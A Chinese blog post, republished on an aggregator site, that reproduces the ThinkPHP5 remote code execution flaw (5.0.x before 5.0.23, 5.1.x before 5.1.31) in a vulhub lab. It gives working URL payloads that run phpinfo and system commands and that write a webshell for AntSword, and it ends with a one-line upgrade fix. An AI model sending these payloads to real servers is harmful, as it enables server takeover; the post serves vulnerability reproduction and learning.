ThinkPHP5 远程命令执行漏洞

一、ThinkPHP介绍

轻量级框架,内部OOP和面向过程代码都存在,是国人自己开发的框架。ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式

二、漏洞描述

Thinkphp5.0版本中没有对路由中的控制器进行严格过滤,导致在没有开启强制路由的情况下可以执行系统命令。

三、漏洞影响版本

ThinkPHP 5.0.x < 5.0.23

ThinkPHP 5.1.x < 5.1.31

四、漏洞复现

1、搭建环境

这里使用docker直接启动vulhub靶场

docker-compose up -d

目录:thinkphp/5-rce

ThinkPHP5 远程命令执行漏洞

2、访问页面

http://your-ip:8080

ThinkPHP5 远程命令执行漏洞

3、代码执行

/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd

获取phpinfo信息

ThinkPHP5 远程命令执行漏洞

执行系统命令

ThinkPHP5 远程命令执行漏洞

4、写入一句话

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=加你要写入的文件内容url编码

ThinkPHP5 远程命令执行漏洞

ThinkPHP5 远程命令执行漏洞

蚁剑连接

ThinkPHP5 远程命令执行漏洞

五、修复建议

升级至最新版本

Original: https://www.cnblogs.com/ggc-gyx/p/thinkphp5-rce.html
Author: ʚɞ无恙
Title: ThinkPHP5 远程命令执行漏洞

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/610164/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • maven安装及导入本地jar包

    一、maven的安装方法 1.去maven官网下载适合的版本 下载地址: 官方下载地址 2.下载后解压到任意目录 3.配置系统环境变量 M2_HOME ,值为maven解压后的目录…

    Linux 2023年6月14日
    0135
  • 007 Linux 命令三剑客之-awk

    Linux 命令三剑客,sed、grep、awk。 sed:擅长数据修改。 grep:擅长数据查找定位。 awk:擅长数据切片,数据格式化,功能最复杂。 awk 更适合格式化文本,…

    Linux 2023年5月27日
    096
  • Python的偏函数(Partial Function Application)

    这个概念说实话以前听过,但没深究过,也没用到过…但是被人问到了,就查来记录一下。 查下资料,发现这个东西说白了就是:部分参数有默认值的函数,Orz。再回过头来看他的英文…

    Linux 2023年6月8日
    0101
  • QT程序自启动

    故事背景:最近涉及到客户端更新自启动的一个问题,客户端检测到自己要更新,弹出一个更新界面,然后退出旧版本,启动新版本 技术调研:QProcess 直接上代码吧 这个代码的效果就是退…

    Linux 2023年6月13日
    0109
  • 批量新建域用

    前几个章节我们讲到Windows Server 2016-图形化新建域用户(一),本章节我们简单讲解下如何通过命令批量创建域用户,以便高效完成日常工作中实际批量创建用户需求,内容涉…

    Linux 2023年6月13日
    0106
  • Redis的数据时如何避免丢失的?

    Redis之所以足够快,一部分的原因是它的数据都是基于内存存储的。虽然Redis更多的是作为一个旁路缓存【先在redis中查询,查询不到数据的时候,在查询持久化数据库】来使用。如果…

    Linux 2023年6月7日
    081
  • Linux专项之Apache

    1.&#x865A;&#x62DF;&#x673A;&#x4E0A;&#x7F51; 1.安装软件(httpd) yum search ht…

    Linux 2023年6月14日
    096
  • [云计算]腾讯云从业者认证-思维导图

    第一章 云计算基础介绍 第二章 腾讯云服务器产品介绍 第三章 腾讯云网络产品介绍 第四章 腾讯云CDN加速产品介绍 第五章 腾讯云存储产品介绍 第六章 腾讯云数据库产品介绍 第七章…

    Linux 2023年6月13日
    0132
  • Ubuntu18.04 + Windows10 双系统安装

    此处忽略Windows10安装!!! 准备 安装环境 OS:Windows10 CPU:Intel(R) Core(TM) i5-10600KF CPU @ 4.10GHz 4.1…

    Linux 2023年5月27日
    0111
  • Docker安装使用及私有仓库搭建

    1 概念 1.1 基本概念 Docker daemon​ 守护进程,运行在宿主机上,用户通过DockerClient客户端Docker命令与Docker daemon交互。Dock…

    Linux 2023年5月27日
    0100
  • 针对Raft的一些分享(Figure 8和Figure 7)

    1、背景 完成6.824的lab2b,对于Raft有了一定的理解,现在把读论文过程中遇到的一些问题发出来和大家分享下。 2、一些问题 (1)什么情况下会出现votedFor = c…

    Linux 2023年6月7日
    0104
  • JuiceFS 在 Elasticsearch/ClickHouse 温冷数据存储中的实践

    企业数据越存越多,存储容量与查询性能、以及存储成本之间的矛盾对于技术团队来说是个普遍难题。这个难题在 Elasticsearch 与 ClickHouse 这两个场景中尤为突出,为…

    Linux 2023年6月14日
    0132
  • jdk 安装(图形界面版)

    在这里为大家提供jdk8的Linux版安装包,下载链接: 提前将jdk安装包放入U盘中,插入U盘,VMware会自动识别,选择将U盘接入虚拟机 打开终端 为避免权限不足,开始之前确…

    Linux 2023年6月8日
    0117
  • python openpyxl UserWarning: Workbook contains no default style, apply openpyxl‘s default

    告警解释 这是一个告警,这个excel文件没有设置默认的样式。一般这种没有默认样式的excel文档是由java程序生成的,不是像windows系统日常使用中通过右键点击创建的exc…

    Linux 2023年6月8日
    0105
  • 附034.Kubernetes_v1.21.0高可用部署架构二

    kubeadm介绍 kubeadm概述 kubeadm功能 本方案描述 部署规划 节点规划 主机名配置 变量准备 互信配置 环境初始化 部署高可用组件 HAProxy安装 Keep…

    Linux 2023年6月13日
    0237
  • LAMP 架构介绍及环境搭建

    1、LAMP 架构介绍及环境搭建 1.LAMP分别代表什么? L代表服务器操作系统使用Linux A代表网站服务使用的是Apache软件基金会中的httpd软件 M代表网站后台使用…

    Linux 2023年6月7日
    0115
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球